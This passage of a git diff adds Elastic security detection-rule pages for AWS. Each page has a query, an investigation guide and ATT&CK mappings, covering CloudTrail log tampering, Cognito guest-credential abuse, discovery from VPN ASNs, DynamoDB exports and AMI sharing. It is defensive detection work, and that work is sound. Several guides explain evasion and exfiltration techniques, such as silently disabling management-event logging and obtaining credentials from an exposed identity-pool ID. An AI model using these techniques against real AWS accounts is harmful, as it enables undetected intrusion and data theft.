`source.ip`; verify approved change. +- **Assess the modification** + - In `aws.cloudtrail.request_parameters`, note changes to: + - `S3BucketName`, `CloudWatchLogsLogGroupArn`, `KmsKeyId` + - `IsMultiRegionTrail`, `IncludeGlobalServiceEvents` + - Event or insight selectors (management vs data events) +- **Correlate** + - Look for preceding `StopLogging` or following `DeleteTrail`. + - Review concurrent IAM policy edits or role changes by the same actor. + + +*False positive analysis* + +- **Planned changes**: Baseline drift during region onboarding or encryption rotation. +- **Automation**: IaC pipelines updating trails as templates evolve. + + +*Response and remediation* + +- **If unauthorized** + - Revert to baseline; validate destination ownership and KMS policy. + - Investigate time ranges where visibility may have been reduced. +- **Hardening** + - Constrain `cloudtrail:UpdateTrail`, require approvals, and monitor with AWS Config rules. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "UpdateTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc new file mode 100644 index 0000000000..e7929e6a24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-28-aws-cloudtrail-management-events-disabled-via-puteventselectors]] +=== AWS CloudTrail Management Events Disabled via PutEventSelectors + +Detects CloudTrail PutEventSelectors calls where the legacy event selectors explicitly set includeManagementEvents to false, disabling capture of all management API calls for that trail. Unlike StopLogging or DeleteTrail — which leave an obvious trace of the trail being stopped or removed entirely — this technique leaves the trail appearing active and healthy in the console while silently blinding defenders to subsequent IAM changes, credential operations, and resource abuse. This technique is documented in Stratus Red Team as aws.defense-evasion.cloudtrail-event-selectors and is a known pre-exfiltration step. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_PutEventSelectors.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/ +* https://attack.mitre.org/techniques/T1562/008/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Management Events Disabled via PutEventSelectors* + + +`PutEventSelectors` controls which CloudTrail events a trail captures. This rule fires when the +new event selectors explicitly set `includeManagementEvents` to `false` — disabling capture of +all management API calls for that trail while leaving it appearing active in the console. This is +a surgical evasion technique that does not trigger the existing `StopLogging` or `DeleteTrail` +alerts, and can persist silently for days before detection. + + +*Possible investigation steps* + + +- **Confirm the intent**: `aws.cloudtrail.request_parameters` contains the full JSON of the new + event selectors. The rule has already matched `includeManagementEvents: false`. Confirm whether + ALL selectors have management events disabled or only some, and whether `ExcludeManagementEventSources` + further filters specific services. + +- **Check for other narrowing**: Also inspect `ReadWriteType` and `DataResources` in the same + event — switching to `ReadOnly` or removing data event entries compounds the coverage gap. + +- **Verify the caller**: `aws.cloudtrail.user_identity.arn` — IaC automation (Terraform, + CloudFormation, CDK) uses AssumedRole/ASIA* credentials and legitimately sets management event + selectors to `true` during trail creation. An AKIA* key or Root identity making this change + outside of a deployment pipeline is high-confidence adversarial. + +- **Check trail scope**: Was this a multi-region trail or organization-wide trail? Changes to + broad-scope trails have the largest visibility impact. + +- **Correlate activity**: Look for high-impact API calls in the 30–60 minutes following this + event — particularly IAM changes, credential operations, or S3/KMS data access — that would + now be invisible to the trail. + +- **Prior access**: Check for `GetTrailStatus`, `GetEventSelectors`, or `DescribeTrails` calls + from the same identity before this event, indicating reconnaissance of the trail configuration. + + +*Response and remediation* + + +- Immediately call `PutEventSelectors` to restore `includeManagementEvents: true` on all selectors. +- Confirm that `GetTrailStatus` shows `IsLogging: true`. +- Review all API activity from the time the selectors were modified until detection using + alternative sources (CloudWatch, other regional trails) for the gap window. +- Restrict `cloudtrail:PutEventSelectors` to break-glass roles and enforce via SCP. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "PutEventSelectors" + and event.outcome: "success" + and aws.cloudtrail.request_parameters: *includeManagementEvents*false* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc new file mode 100644 index 0000000000..7a5b676cc1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-28-aws-cognito-unauthenticated-identity-pool-credentials-issued]] +=== AWS Cognito Unauthenticated Identity Pool Credentials Issued + +Identifies AWS CloudTrail data events where an unauthenticated identity successfully retrieves temporary AWS credentials from a Cognito Identity Pool via GetCredentialsForIdentity. Cognito Identity Pools can be configured to allow unauthenticated (guest) access, intended for scenarios like anonymous app analytics, but a pool that grants those anonymous identities meaningful IAM permissions becomes a public, unauthenticated path to real AWS credentials. Adversaries who discover an identity pool ID (often embedded in mobile app binaries, web app JavaScript, or public source repositories) can call GetId followed by GetCredentialsForIdentity with no login token at all to obtain temporary credentials, then use them to access whatever the pool's unauthenticated role permits. This is a New Terms rule that limits alerting to identity pools that have not been observed issuing credentials to an unauthenticated caller before, since some applications intentionally and continuously use guest access as part of normal operation. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cognito/latest/developerguide/identity-pool-roles.html +* https://docs.aws.amazon.com/cognito/latest/developerguide/logging-using-cloudtrail.html +* https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ +* https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/cognito__attack + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cognito +* Use Case: Asset Visibility +* Resources: Investigation Guide +* Tactic: Credential Access +* Tactic: Initial Access + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Cognito Unauthenticated Identity Pool Credentials Issued* + + +Amazon Cognito Identity Pools can be configured with `AllowUnauthenticatedIdentities`, letting a caller obtain a +guest identity via `GetId` and then temporary AWS credentials via `GetCredentialsForIdentity`, with no login token or +authentication of any kind. This is by design for use cases like anonymous app analytics, but if the pool's +unauthenticated IAM role is overpermissioned, anyone who discovers the identity pool ID gets a free, unauthenticated +path to real AWS credentials. + +This rule fires the first time a given identity pool is observed issuing credentials to an unauthenticated caller +(`aws.cloudtrail.user_identity.type: "Unknown"`). + + +*Possible investigation steps* + + +- **Identify the pool**: review `aws.cloudtrail.resources.arn` to determine which identity pool issued the + credentials, and `aws.cloudtrail.request_parameters.identityId` for the specific guest identity. +- **Confirm this is intentional guest access**: check whether the application this pool belongs to is designed for + anonymous/unauthenticated use (for example, a public mobile app or website with anonymous analytics). +- **Review the unauthenticated role's permissions**: run + `aws cognito-identity get-identity-pool-roles --identity-pool-id ` and inspect the attached policy for the + unauthenticated role. Broad permissions (data store read/write, `iam:*`, cross-service access) on a role reachable + without authentication is a critical misconfiguration regardless of whether this specific call was malicious. +- **Review source context**: check `source.ip`, `user_agent.original`, and `source.geo` for the calling identity. A + source unrelated to the application's expected client base (for example, a generic AWS SDK/CLI user agent instead + of a mobile/browser client) is a stronger indicator of discovery/abuse rather than normal app traffic. +- **Look for follow-on activity**: search for subsequent API calls made using credentials tied to the same + `identityId` or the unauthenticated role's ARN, to determine what the caller actually did with the credentials. +- **Look for pool enumeration**: check for `ListIdentityPools` or repeated `GetId`/`GetCredentialsForIdentity` calls + against multiple different identity pools from the same source in a short window, which suggests systematic + discovery rather than a single legitimate app session. + + +*False positive analysis* + + +- Many applications intentionally use unauthenticated Identity Pool access for anonymous analytics or public content + delivery. This rule fires once per identity pool the first time this pattern is observed; if confirmed as + intentional and properly scoped (minimal unauthenticated role permissions), no further action is needed for that + pool. + + +*Response and remediation* + + +- If the unauthenticated role is overpermissioned, scope it down immediately to the minimum required for legitimate + anonymous use, or disable `AllowUnauthenticatedIdentities` entirely if guest access is not required. +- If credentials were abused, review all activity performed under the unauthenticated role's ARN during the + credential's validity window and revoke/rotate as appropriate (temporary credentials cannot be revoked directly, + but the role's trust policy or permissions can be tightened immediately). +- Treat any identity pool ID found in client-side code (mobile app binaries, web JavaScript) as public information, + and ensure the unauthenticated role attached to it is scoped accordingly. + + + +==== Setup + + +Cognito Identity Pool data events must be enabled in CloudTrail to capture GetCredentialsForIdentity, GetId, GetOpenIdToken, GetOpenIdTokenForDeveloperIdentity, and UnlinkIdentity. Add an advanced event selector for eventCategory Data and resources.type AWS::Cognito::IdentityPool to the trail. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cognito-identity.amazonaws.com" + and event.action: "GetCredentialsForIdentity" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "Unknown" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc new file mode 100644 index 0000000000..ce4ffeab7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-28-aws-discovery-api-calls-from-vpn-asn-for-the-first-time-by-identity]] +=== AWS Discovery API Calls from VPN ASN for the First Time by Identity + +Flags the first time a given IAM principal invokes a narrow set of high-signal discovery APIs (credential check, account and IAM enumeration, bucket and compute inventory, logging introspection) from a source IP whose autonomous system number (ASN) matches a curated set commonly associated with consumer VPN brands, VPN-heavy hosting, and provider networks referenced in public reporting on TeamPCP activity (for example 31173 Services AB AS39351 and Oy Crea Nova Hosting Solution Ltd). Broad `List*`/`Describe*` patterns are intentionally omitted to reduce noise. Hosting ASNs are heavily dual-use; validate `source.as.number` in your data and extend `event.action` only when your baseline allows it. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html +* https://attack.mitre.org/techniques/T1526/ +* https://github.com/bountyyfi/bad-asn-list/blob/main/all.txt + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Discovery API Calls from VPN ASN for the First Time by Identity* + + +This rule applies a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] condition on **`source.as.number`** and **`aws.cloudtrail.user_identity.arn`**. It fires the first time a specific principal is observed calling discovery-like APIs from an IP geolocated to one of the ASNs in the rule query (within the 10-day history window). + +**High-signal `event.action` values** (explicit allowlist in the rule query): `GetCallerIdentity`; IAM `ListUsers`, +`ListRoles`, `ListAccessKeys`, `GetAccountSummary`, `ListAccountAliases`, `ListGroups`, `ListMFADevices`; S3 `ListBuckets`; +EC2 `DescribeInstances`, `DescribeRegions`, `DescribeVpcs`, `DescribeSecurityGroups`; Lambda `ListFunctions`; RDS +`DescribeDBInstances`, `DescribeDBSnapshots`; DynamoDB `ListTables`; KMS `ListKeys`, `ListAliases`; CloudTrail +`DescribeTrails`, `LookupEvents`; Bedrock `ListFoundationModels`. Clone the rule to add actions (for example ELB or Secrets Manager) if needed. + +**Curated VPN-oriented ASNs (verify locally)** — examples this rule matches (subject to registry and enrichment updates): + +| ASN | Commonly associated operator (reference only) | +|-----|-----------------------------------------------| +| 216025 | Mullvad VPN AB | +| 57138 | Mullvad supporting infrastructure | +| 207137 | Tefincom S.A. (NordVPN-related) | +| 212238 | Nord / Nord Security class VPN egress in many datasets | +| 199218 | ProtonVPN | +| 209103 | Proton AG (VPN; confirm in your enrichment source) | +| 209854 | Surfshark Ltd. | +| 141039, 147049 | Packet-style VPN/colocation pools often tied to large VPN footprints | +| 53314 | ExpressVPN-related registration in some registries (often small; validate) | +| 60068 | Datacamp Limited — CDN/hosting; used by several VPN brands and many legitimate workloads (**high dual-use**) | +| 9009 | M247 Ltd — colocation and connectivity; common VPN/proxy exit (**high dual-use**) | +| 20473 | Choopa / Vultr (The Constant Company) — VPS; frequent VPN exit and automation (**high dual-use**) | +| 63949 | Linode LLC (Akamai cloud) — VPS; VPN exits and dev workloads (**dual-use**) | +| 39351 | 31173 Services AB (Sweden) — colocation/hosting; cited in TeamPCP-related reporting (**dual-use**). Not the same as **AS31173** (unrelated Ukrainian ISP). | +| 51765 | Oy Crea Nova Hosting Solution Ltd (Finland) — hosting; cited in TeamPCP-related reporting (**dual-use**) | +| 204187 | Oy Crea Nova Hosting Solution Ltd — related network under the same operator (**dual-use**) | +| 208172 | Proton AG — additional VPN egress network (same Proton operator as 209103 / ProtonVPN) | +| 9002 | RETN Limited — pan-European/global transit backbone; carries VPN/proxy egress plus heavy legitimate traffic (**high dual-use**) | +| 49981 | WorldStream B.V. (Netherlands) — dedicated-server/hosting; VPN exits and many legitimate workloads (**dual-use**) | + +Other ASNs sometimes seen for VPN or reseller egress (not in this rule by default) include **16276** (OVH), **14061** +(DigitalOcean), **24940** (Hetzner), **51167** (Contabo), and **49453** (Global Layer). Add them only if your baseline +shows manageable false-positive volume. + + +*Possible investigation steps* + + +- Confirm `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. +- Review `event.action` and `event.provider` in the alert; several distinct allowlisted actions from the same session suggest broader enumeration. +- Compare `source.ip`, `source.as.organization.name`, and `source.as.number` against your asset inventory and approved remote-access patterns. +- Hunt ±30 minutes for privilege changes, data access (`GetObject`, snapshot sharing), or credential operations. + + +*False positive analysis* + + +- First-time legitimate VPN or hosting egress per identity produces a single alert per ASN until the term ages out of the window. +- **Datacamp (60068), M247 (9009), and Vultr (20473)** are especially noisy; consider dropping them locally if alerts exceed capacity. +- **31173 Services AB (39351)** and **Crea Nova (51765, 204187)** are legitimate hosting providers; only escalation-worthy when paired with unexpected identities or follow-on impact. + + +*Response and remediation* + + +- If unexpected, rotate keys, revoke sessions, and tighten IAM; add exceptions only after documented approval. + + +*Additional information* + + +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html[CloudTrail userIdentity] +- https://bgp.tools/[BGP / ASN lookup] (third-party) for validating AS registrations + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.arn:(* and not *AWSServiceRoleForConfig*) + and not aws.cloudtrail.user_identity.type: "AWSService" + and event.provider: ( + "sts.amazonaws.com" or + "iam.amazonaws.com" or + "s3.amazonaws.com" or + "ec2.amazonaws.com" or + "lambda.amazonaws.com" or + "rds.amazonaws.com" or + "dynamodb.amazonaws.com" or + "kms.amazonaws.com" or + "cloudtrail.amazonaws.com" or + "bedrock.amazonaws.com" + ) + and event.action: ( + "GetCallerIdentity" or + "ListUsers" or + "ListRoles" or + "ListAccessKeys" or + "GetAccountSummary" or + "ListAccountAliases" or + "ListGroups" or + "ListMFADevices" or + "ListBuckets" or + "DescribeInstances" or + "DescribeRegions" or + "DescribeVpcs" or + "DescribeSecurityGroups" or + "ListFunctions" or + "DescribeDBInstances" or + "DescribeDBSnapshots" or + "ListTables" or + "ListKeys" or + "ListAliases" or + "DescribeTrails" or + "LookupEvents" or + "ListFoundationModels" + ) + and source.as.number: ( + 216025 or + 57138 or + 207137 or + 212238 or + 199218 or + 209103 or + 209854 or + 141039 or + 147049 or + 53314 or + 60068 or + 9009 or + 20473 or + 63949 or + 39351 or + 51765 or + 204187 or + 29066 or + 206092 or + 208172 or + 9002 or + 49981 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-dynamodb-table-exported-to-s3.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-dynamodb-table-exported-to-s3.asciidoc new file mode 100644 index 0000000000..77b0468ced --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-dynamodb-table-exported-to-s3.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-28-aws-dynamodb-table-exported-to-s3]] +=== AWS DynamoDB Table Exported to S3 + +Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_ExportTableToPointInTime.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + + +*Investigating AWS DynamoDB Table Exported to S3* + + +This rule identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. + +This is a New Terms rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the export. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key has been compromised. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the ExportTableToPointInTime request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being exported. + + +*False Positive Analysis* + +- Historical User Actions: If the user has a history of exporting DynamoDB tables for legitimate purposes, this may be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform exports on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may be a false positive. + + +*Response and Remediation* + +- Immediate Review and Reversal: If the ExportTableToPointInTime action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's access keys or removing their permissions. +- Investigate Compromise: If the ExportTableToPointInTime action is determined to be malicious, investigate the source and destination of the request and any potential compromise of the user's account. If the destination S3 bucket is not known, it may be a sign of data exfiltration and may require incident response. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "ExportTableToPointInTime" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-ami-shared-with-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-ami-shared-with-another-account.asciidoc new file mode 100644 index 0000000000..94b22c3e9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ec2-ami-shared-with-another-account.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-28-aws-ec2-ami-shared-with-another-account]] +=== AWS EC2 AMI Shared with Another Account + +Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ami/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 AMI Shared with Another Account* + + +This rule identifies when an Amazon Machine Image (AMI) is shared with another AWS account. While sharing AMIs is a common practice, adversaries may exploit this feature to exfiltrate data by sharing AMIs with external accounts under their control. + + +*Possible Investigation Steps* + + +- **Review the Sharing Event**: Identify the AMI involved and review the event details in AWS CloudTrail. Look for `ModifyImageAttribute` actions where the AMI attributes were changed to include additional user accounts. + - **Request and Response Parameters**: Check the `aws.cloudtrail.request_parameters` and `aws.response.response_elements` fields in the CloudTrail event to identify the AMI ID and the user ID of the account with which the AMI was shared. +- **Verify the Shared AMI**: Check the AMI that was shared and its contents to determine the sensitivity of the data stored within it. +- **Contextualize with Recent Changes**: Compare this sharing event against recent changes in AMI configurations and deployments. Look for any other recent permissions changes or unusual administrative actions. +- **Validate External Account**: Examine the AWS account to which the AMI was shared. Determine whether this account is known and previously authorized to access such resources. +- **Interview Relevant Personnel**: If the share was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing AMI deployments. +- **Audit Related Security Policies**: Check the security policies governing AMI sharing within your organization to ensure they are being followed and are adequate to prevent unauthorized sharing. + + +*False Positive Analysis* + + +- **Legitimate Sharing Practices**: AMI sharing is a common and legitimate practice for collaboration and resource management in AWS. Always verify that the sharing activity was unauthorized before escalating. +- **Automation Tools**: Some organizations use automation tools for AMI management which might programmatically share AMIs. Verify if such tools are in operation and whether their actions are responsible for the observed behavior. +- **AWS Services**: Some AWS services, such as WorkSpaces and Backup, automate AMI sharing when users configure cross-account sharing or disaster recovery plans. These will appear in CloudTrail with `userIdentity.invokedBy` and `source.address` fields like `workspaces.amazonaws.com` or `backup.amazonaws.com`. Confirm that such activity aligns with your organization's approved configurations. + + +*Response and Remediation* + + +- **Review and Revoke Unauthorized Shares**: If the share is found to be unauthorized, immediately revoke the shared permissions from the AMI. +- **Enhance Monitoring of Shared AMIs**: Implement monitoring to track changes to shared AMIs and alert on unauthorized access patterns. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. +- **Policy Update**: Review and possibly update your organization’s policies on AMI sharing to tighten control and prevent unauthorized access. +- **Educate Users**: Conduct training sessions for users involved in managing AMIs to reinforce best practices and organizational policies regarding AMI sharing. + + +*Additional Information* + + +For more information on managing and sharing AMIs, refer to the https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html[Amazon EC2 User Guide on AMIs] and https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html[Sharing AMIs]. Additionally, explore adversarial techniques related to data exfiltration via AMI sharing as documented by Stratus Red Team https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ami/[here]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and event.provider: "ec2.amazonaws.com" + and event.action: 